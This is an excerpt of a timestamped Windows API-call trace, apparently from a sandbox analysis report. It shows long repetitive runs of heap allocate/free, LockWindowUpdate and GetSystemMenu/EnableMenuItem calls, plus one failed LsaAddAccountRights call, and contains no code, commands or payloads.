	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.011] GetLastError () returned 0x57
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.011] GetLastError () returned 0x57
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.011] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.011] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.011] GetLastError () returned 0x57
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.012] GetLastError () returned 0x57
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.012] GetLastError () returned 0x57
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.012] GetLastError () returned 0x57
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.012] GetLastError () returned 0x57
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.012] GetLastError () returned 0x57
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.012] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.012] GetLastError () returned 0x57
	[0049.012] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.012] LsaAddAccountRights (PolicyHandle=0x0, AccountSid=0x0, UserRights=0x0, CountOfRights=0x0) returned 0xc0000008
	[0049.013] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.013] GetLastError () returned 0x57
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.013] GetLastError () returned 0x57
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x2) returned 0x2c404b8
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.013] GetLastError () returned 0x57
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x3) returned 0x2c41530
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x4) returned 0x2c404b8
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.013] GetLastError () returned 0x57
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c404b8 | out: hHeap=0x2c40000) returned 1
	[0049.013] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1) returned 0x2c41530
	[0049.013] HeapFree (in: hHeap=0x2c40000, dwFlags=0x0, lpMem=0x2c41530 | out: hHeap=0x2c40000) returned 1
	[0049.013] GetLastError () returned 0x57
	[0049.014] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.014] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.014] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.015] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.015] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.015] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.016] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.016] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.017] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.017] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.018] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.018] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.018] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.018] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.019] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.020] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.021] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.022] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.023] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.024] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.024] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.024] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.024] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.024] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.025] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.026] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.027] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.028] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.029] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.030] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.031] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.032] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.033] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.042] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.042] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.042] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.042] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.042] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.042] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.042] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.042] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.043] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.044] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.059] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.059] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.059] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.059] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.059] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.059] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.059] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.059] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.060] LockWindowUpdate (hWndLock=0x0) returned 0
	[0049.715] BSTR_UserSize (param_1=0x0, long=0x0, param_3=0x0) returned 0x0
	[0049.715] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.715] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.715] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.715] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.715] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.716] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.716] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.717] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.717] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.718] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
	[0049.718] EnableMenuItem (hMenu=0x0, uIDEnableItem=0x0, uEnable=0x0) returned 1
	[0049.719] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0
